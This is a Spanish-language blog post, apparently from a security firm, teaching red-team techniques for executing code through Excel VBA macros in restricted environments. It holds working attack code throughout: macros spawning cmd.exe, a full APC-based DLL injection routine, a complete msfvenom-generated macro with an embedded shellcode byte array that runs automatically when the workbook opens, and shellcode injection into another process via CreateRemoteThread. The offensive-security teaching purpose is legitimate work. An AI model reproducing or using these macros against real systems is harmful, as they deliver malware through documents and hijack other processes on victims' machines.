Diferentes formas de ejecutar código con Macros de Excel
Introducción
En ocasiones durante los test de intrusión, y las operaciones de un servicio de Red Team, se logra acceso a entornos restringidos y controlados donde sólo se puede ejecutar un determinado set de aplicaciones (por ejemplo, un entorno Citrix). En este post abordaremos diferentes técnicas (todas ellas bien conocidas desde hace más de una década, pero nunca está de más recordarlas) para ejecutar código arbitrario utilizando las macros de Excel.
APIs de Windows
Probablemente la forma más simple de conseguir ejecutar comandos desde las macros de excel, y la que todos en alguna ocasión hemos utilizado, es llamar a la función «shell» de VBA para que ejecute un cmd.exe y obtener así una consola sobre la que trabajar y avanzar con la intrusión.
Sub test()
Shell Environ("ComSpec") 'Utilizamos la variable de entorno "ComSpec" que contiene la ruta del cmd.exe
End Sub
Ésta es probablemente la forma más mundana y poco creativa de continuar con la intrusión.
Las macros de Excel son programadas en VBA (Visual Basic for Aplications), lo que nos permite poder interaccionar con el sistema a más bajo nivel del que pudiera parecer en primera instancia. Desde VBA podemos utilizar las funciones exportadas por las DLLs que hay en el sistema, ampliando de esta forma nuestras capacidades. Un ejemplo puede ser invocar a la función «WinExec«de la librería «Kernel32.dll»:
Private Declare PtrSafe Function WinExec Lib "kernel32.dll" (ByVal lpCmdLine As String, ByVal nCmdShow As Integer) As Integer
Sub test()
WinExec Environ("COMSPEC"), 1
End Sub
A la hora de trabajar con las macros de excel es importante tener en cuenta la retrocompatibilidad y los escenarios donde el excel esté compilado para 32 y 64 bits. Por ejemplo, a la hora de trabajar con punteros se utiliza el tipo «LongPtr» en vez de «Long», ya que en versiones de 64 bits este tipo de dato es de 8 bytes mientras que en 32 bits es de 4 bytes. De igual forma, el atributo PtrSafe permite utilizar la instrucción Declare en sistemas de 32 o 64 bits con VBA 7, sin embargo no está presente en versiones anteriores, por lo que en las macros de excel se debe de recurrir a construcciones #If VBA7 Then … (declaracion con PtrSafe) #Else … (declaración normal) #End if.
Un listado completo de definiciones de funciones y estructuras de la API de Windows con PtrSafe puede ser encontrado aquí.
Inyección de código a través de macros de excel
Como vimos en el epígrafe anterior, desde VBA podemos utilizar funciones a más bajo nivel con las que trabajar. Gracias a esto es posible inyectar código arbitrario en el propio proceso del Excel o en otro, siendo ésta la táctica más explorada por el malware. En este apartado mencionaremos dos enfoques como ejemplo (quedando a discreción del lector implementar otros tipos de inyecciones – https://github.com/secrary/InjectProc, https://github.com/BreakingMalwareResearch/atom-bombing- como ejercicio): crear en disco una DLL para posteriormente inyectarla en otro proceso e inyectar directamente una shellcode.
1. Inyectar una DLL en otro proceso
Para este fin nos valdremos de una APC que ejecute una llamada a LoadLibrary con la ruta de nuestra DLL como parámetro, y de esta forma ejecute el código que hayamos definido en el DLLMain al ser cargadas por el thread del proceso en el que nos inyectemos. Un buen ejemplo de cómo utilizar esta técnica viene descrito en un post de Microsoft, a partir del cual haremos una transcripción del código de ejemplo a una macro de excel.
La idea general de esta técnica es enumerar todos los procesos de la máquina hasta encontrar aquel sobre el que queremos inyectarnos. Una vez localizamos este proceso, listaremos todos sus threads, y sobre cada uno añadiremos una APC que será encolada y ejecutada en algún momento.
'Declaramos las funciones que utilizaremos, junto con las constantes
#If vba7 Then
Private Declare PtrSafe Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal lFlags As LongPtr, ByVal lProcessID As LongPtr) As LongPtr
Private Declare PtrSafe Function Process32First Lib "kernel32" (ByVal hSnapshot As LongPtr, sPE32 As PROCESSENTRY32) As Long
Private Declare PtrSafe Function Process32Next Lib "kernel32" (ByVal hSnapshot As LongPtr, sPE32 As PROCESSENTRY32) As Long
Private Declare PtrSafe Function Thread32First Lib "kernel32" (ByVal hObject As LongPtr, p As THREADENTRY32) As Boolean
Private Declare PtrSafe Function Thread32Next Lib "kernel32" (ByVal hObject As LongPtr, p As THREADENTRY32) As Boolean
Private Declare PtrSafe Function OpenProcess Lib "kernel32" (ByVal dwDesiredAcess As LongPtr, ByVal bInheritHandle As Long, ByVal dwProcessId As LongPtr) As Long
Private Declare PtrSafe Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As LongPtr, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As LongPtr, lpNumberOfBytesWritten As LongPtr) As Long
Private Declare PtrSafe Function OpenThread Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As LongPtr
Private Declare PtrSafe Function QueueUserAPC Lib "kernel32" (ByVal pfnAPC As LongPtr, ByVal hThread As LongPtr, ByVal dwData As LongPtr) As LongPtr
Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As LongPtr
#Else
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long
Private Declare Function Process32First Lib "kernel32" (ByVal hSnapshot As Long, sPE32 As PROCESSENTRY32) As Long
Private Declare Function Process32Next Lib "kernel32" (ByVal hSnapshot As Long, sPE32 As PROCESSENTRY32) As Long
Private Declare Function Thread32First Lib "kernel32" (ByVal hObject As Long, p As THREADENTRY32) As Boolean
Private Declare Function Thread32Next Lib "kernel32" (ByVal hObject As Long, p As THREADENTRY32) As Boolean
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAcess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal fAllocType As Long, ByVal flProtect As Long) As Long
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function OpenThread Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function QueueUserAPC Lib "kernel32" (ByVal pfnAPC As Long, ByVal hThread As Long, ByVal dwData As Long) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long
#End if
'Enumerate PID & Threads
Private Const TH32CS_SNAPPROCESS = &H2
Private Const TH32CS_SNAPTHREAD = &H4
Private Const INVALID_HANDLE_VALUE = -1&
'OpenProcess
Private Const PROCESS_VM_WRITE = &H20
Private Const PROCESS_VM_OPERATION = &H8
'VirtualAllocEx
Private Const MEM_COMMIT = &H1000
Private Const MEM_RESERVE = &H2000
Private Const PAGE_READWRITE = &H4
'OpenThread
Private Const THREAD_SET_CONTEXT = &H10
Para enumerar los procesos y threads utilizaremos las funciones Process32First, Process32Next, Thread32First y Thread32Next , las cuales utilizan las estructuras PROCESSENTRY32 y THREADENTRY32:
#If Win64 Then
Private Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32DefaultHeapIDB As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
pcPriClassBaseB As Long
dwFlags As Long
szExeFile As String * 260
End Type
#Else
Private Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szExeFile As String * 260
End Type
#End If
Private Type THREADENTRY32
dwSize As Long
cntUsage As Long
th32ThreadID As Long
th32OwnerProcessID As Long
tpBasePri As Long
tpDeltaPri As Long
dwFlags As Long
End Type
Inicialmente deberemos de tomar un snapshot de los procesos que se están ejecutando en la máquina, y los recorreremos uno a uno hasta encontrar uno cuyo nombre encaje con el que estamos buscando:
Target = "sublime_text.exe" 'Proceso objetivo
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS Or TH32CS_SNAPTHREAD, 0) 'Tomamos un snapshot
If hSnapshot <> INVALID_HANDLE_VALUE Then 'Comprobamos que se ha tomado correctamente
#If win64 Then
sPE32.dwSize = LenB(sPE32) 'Debe de usarse LenB en x64
#Else
sPE32.dwSize = Len(sPE32)
#End If
lRet = Process32First(hSnapshot, sPE32) 'Tomamos la información del primer proceso encontrado en el snapshot
Do While lRet ' Iniciamos un bucle para recorrer todos los procesos
iPositionNull = InStr(1, sPE32.szExeFile, Chr(0))
If iPositionNull > 0 Then
strProcess = Left(sPE32.szExeFile, iPositionNull - 1) 'Cogemos el nombre del proceso
Else
strProcess = ""
End If
If strProcess = Target Then '¿Es nuestro proceso objetivo?
pid = sPE32.th32ProcessID 'PID del proceso
...
...
...
End If
lRet = Process32Next(hSnapshot, sPE32) 'Siguiente proceso
Loop
Lo siguiente será listar todos los threads asociados con ese proceso:
#If VBA7 Then
sTE32.dwSize = LenB(sTE32)
#Else
sTE32.dwSize = Len(sTE32)
#End If
hThreadshot = Thread32First(hSnapshot, sTE32)
Do While hThreadshot
If sTE32.th32OwnerProcessID = pid Then 'Si el thread pertenece al PID que hemos sacado antes lo metemos con el resto
If thr = "" Then
thr = sTE32.th32ThreadID
Else
thr = thr & "|" & sTE32.th32ThreadID
End If
End If
hThreadshot = Thread32Next(hSnapshot, sTE32)
Loop
...
...
threads = Split(thr, "|") 'Generamos un array con todos los identificadores de los threads
A continuación abriremos un handler al proceso (PID seleccionado), donde otorgaremos los permisos necesarios para poder asignar memoria y escribirla:
MsgBox "Threads enumerated!"
hProcess = OpenProcess(PROCESS_VM_WRITE Or PROCESS_VM_OPERATION, False, pid)
If hProcess = 0 Then
MsgBox "OpenProcess Failed!"
Else
MsgBox "OpenProcess Successful!"
A través de VirtualAllocEx asignamos memoria con permisos de lectura y escritura, y escribimos en ella la ruta de nuestra DLL utilizando WriteProcessMemory. De esta forma podremos posteriormente utilizarlo como argumento para el LoadLibrary.
VirtRet = VirtualAllocEx(hProcess, 0, 4096, MEM_COMMIT Or MEM_RESERVE, PAGE_READWRITE)
If VirtRet <> 0 Then
ret = WriteProcessMemory(hProcess, ByVal VirtRet, ByVal dllpath, Len(dllpath), vbNull)
If ret <> 0 Then
MsgBox "Memory Wrote!"
Por último ya sólo queda recorrer cada hilo de los que habíamos listado anteriormente, crear un handler y añadirle una APC que llame a LoadLibrary() utilizando como parámetro la ruta de nuestra DLL.
For Each thread In threads
hThread = OpenThread(THREAD_SET_CONTEXT, False, thread) 'Abrimos un handler
If hThread = 0 Then
MsgBox "OpenThread Failed!"
Else
hLib = GetModuleHandle("kernel32")
retProc = GetProcAddress(hLib, "LoadLibraryA") 'Buscamos la dirección de loadlibrary
If retProc <> 0 Then
RetAPC = QueueUserAPC(retProc, hThread, VirtRet) 'Encolamos el APC pasándole como parámetros la dirección de loadlibrary y la dirección que contiene la ruta de nuestra DLL
Else
MsgBox "QueueUserAPC Failed!"
End If
End If
Next thread
Cuando uno de los hilos cargue nuestra DLL, ejecutará automáticamente lo que tenga su DLLMain, permitiéndonos de esa forma ejecutar código en ese proceso (por ejemplo, una reverse shell). La estructura de la DLL sería similar a:
#include
#include
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call,LPVOID lpReserved )
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
//Aquí nuestro código que se ejecutará al cargarse la DLL
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
2. Inyectar una shellcode en otro proceso
Otra opción puede ser inyectar directamente una shellcode nuestra en otro proceso (o en el propio excel). Ésta técnica es utilizada por ejemplo por metasploit cuando genera una macro de excel:
root@Frederik:~|⇒ msfvenom -a x64 -p windows/x64/exec CMD=cmd -f vba
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 271 bytes
Final size of vba file: 2417 bytes
#If Vba7 Then
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Eswra As Long, ByVal Nssuuaag As Long, ByVal Fozn As LongPtr, Ovw As Long, ByVal Eszngdvz As Long, Yqkekcr As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Hhhic As Long, ByVal Ohjgni As Long, ByVal Fyie As Long, ByVal Dsloxc As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Htcuumn As LongPtr, ByRef Ogfptgzd As Any, ByVal Bqo As Long) As LongPtr
#Else
Private Declare Function CreateThread Lib "kernel32" (ByVal Eswra As Long, ByVal Nssuuaag As Long, ByVal Fozn As Long, Ovw As Long, ByVal Eszngdvz As Long, Yqkekcr As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Hhhic As Long, ByVal Ohjgni As Long, ByVal Fyie As Long, ByVal Dsloxc As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Htcuumn As Long, ByRef Ogfptgzd As Any, ByVal Bqo As Long) As Long
#EndIf
Sub Auto_Open()
Dim Wjhz As Long, Pkbwhv As Variant, Smgoz As Long
#If Vba7 Then
Dim Bogtvolby As LongPtr, Bzrggsmin As LongPtr
#Else
Dim Bogtvolby As Long, Bzrggsmin As Long
#EndIf
Pkbwhv = Array(72,131,228,240,232,192,0,0,0,65,81,65,80,82,81,86,72,49,210,101,72,139,82,96,72,139,82,24,72,139,82,32,72,139,114,80,72,15,183,74,74,77,49,201,72,49,192,172,60,97,124,2,44,32,65,193,201,13,65,1,193,226,237,82,65,81,72,139,82,32,139,66,60,72,1,208,139,128,136,0, _
0,0,72,133,192,116,103,72,1,208,80,139,72,24,68,139,64,32,73,1,208,227,86,72,255,201,65,139,52,136,72,1,214,77,49,201,72,49,192,172,65,193,201,13,65,1,193,56,224,117,241,76,3,76,36,8,69,57,209,117,216,88,68,139,64,36,73,1,208,102,65,139,12,72,68,139,64,28,73,1, _
208,65,139,4,136,72,1,208,65,88,65,88,94,89,90,65,88,65,89,65,90,72,131,236,32,65,82,255,224,88,65,89,90,72,139,18,233,87,255,255,255,93,72,186,1,0,0,0,0,0,0,0,72,141,141,1,1,0,0,65,186,49,139,111,135,255,213,187,240,181,162,86,65,186,166,149,189,157,255,213, _
72,131,196,40,60,6,124,10,128,251,224,117,5,187,71,19,114,111,106,0,89,65,137,218,255,213,99,109,100,0)
Bogtvolby = VirtualAlloc(0, UBound(Pkbwhv), &H1000, &H40)
For Smgoz = LBound(Pkbwhv) To UBound(Pkbwhv)
Wjhz = Pkbwhv(Smgoz)
Bzrggsmin = RtlMoveMemory(Bogtvolby + Smgoz, Wjhz, 1)
Next Smgoz
Bzrggsmin = CreateThread(0, 0, Bogtvolby, 0, 0, 0)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
Pese al intento pedestre de añadir un mínimo de ofuscación a través de utilizar nombres aleatorios, puede observarse claramente cómo lo que hace el código es llamar a VirtualAlloc para reservar memoria, escribir en ella la shellcode con RtlMoveMemory, y después ejecutarla utilizando CreateThread. Nuestro planteamiento será similar, solo que inyectaremos nuestra shellcode en otro proceso diferente.
El esquema inicial es idéntico al anterior: tomamos un snapshot de todos los procesos, recorremos todos comparando el nombre con el que buscamos.
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS Or TH32CS_SNAPTHREAD, 0)
If hSnapshot <> INVALID_HANDLE_VALUE Then
#If Win64 Then
sPE32.dwSize = LenB(sPE32)
#Else
sPE32.dwSize = Len(sPE32)
#End If
lRet = Process32First(hSnapshot, sPE32)
Do While lRet
iPositionNull = InStr(1, sPE32.szExeFile, Chr(0))
If iPositionNull > 0 Then
strProcess = Left(sPE32.szExeFile, iPositionNull - 1)
Else
strProcess = ""
End If
If strProcess = Target Then
pid = sPE32.th32ProcessID
End If
lRet = Process32Next(hSnapshot, sPE32)
Loop
Al igual que antes, abrimos un handler y asignamos memoria con permsisos de escritura y lectura:
hProcess = OpenProcess(PROCESS_VM_WRITE Or PROCESS_VM_OPERATION, False, pid)
If hProcess = 0 Then
MsgBox "OpenProcess failed!"
Else
MsgBox "Process opened!"
VirtRet = VirtualAllocEx(hProcess, 0, 4096, MEM_COMMIT Or MEM_RESERVE, PAGE_READWRITE)
MsgBox Hex(GetLastError())
If VirtRet <> 0 Then
MsgBox "Memory allocated at " & Hex(VirtRet)
Una vez que tenemos la memoria disponible, procedemos a escribir en ella nuestra shellcode y a cambiarle los permisos a esa región de memoria para que se pueda ejecutar:
arrayshell = Split("72,131,228...", ",") 'Shellcode
For Each char In arrayshell
If shellcode = "" Then
shellcode = Chr(char)
Else
shellcode = shellcode & Chr(char)
End If
Next char
ret = WriteProcessMemory(hProcess, ByVal VirtRet, ByVal shellcode, LenB(shellcode), vbNull)
If ret <> 0 Then
MsgBox "Memory Wrote!"
ProcRet = VirtualProtectEx(hProcess, ByVal VirtRet, 4096, PAGE_EXECUTE_READ, PAGE_READWRITE)
En este punto tenemos la shellcode en memoria, con permisos de ejecución, dentro de otro proceso. Sólo resta disparar su ejecución utilizando CreateRemoteThread:
Dim thread As LongPtr thrRet = CreateRemoteThread(hProcess, ByVal 0, ByVal 0, ByVal VirtRet, ByVal 0, ByVal 0, thread)
Conclusión
Las macros de excel, más allá de su papel crucial en el malware, pueden ser aprovechadas para la ejecución de código en entornos restrictivos y con cierto nivel de bastionado. Si bien son técnicas utilizadas desde hace más de una década, nunca está de más volver a recordarlas.
Descubre nuestro trabajo y nuestros servicios de ciberseguridad en www.tarlogic.com/es/
En TarlogicTeo y en TarlogicMadrid.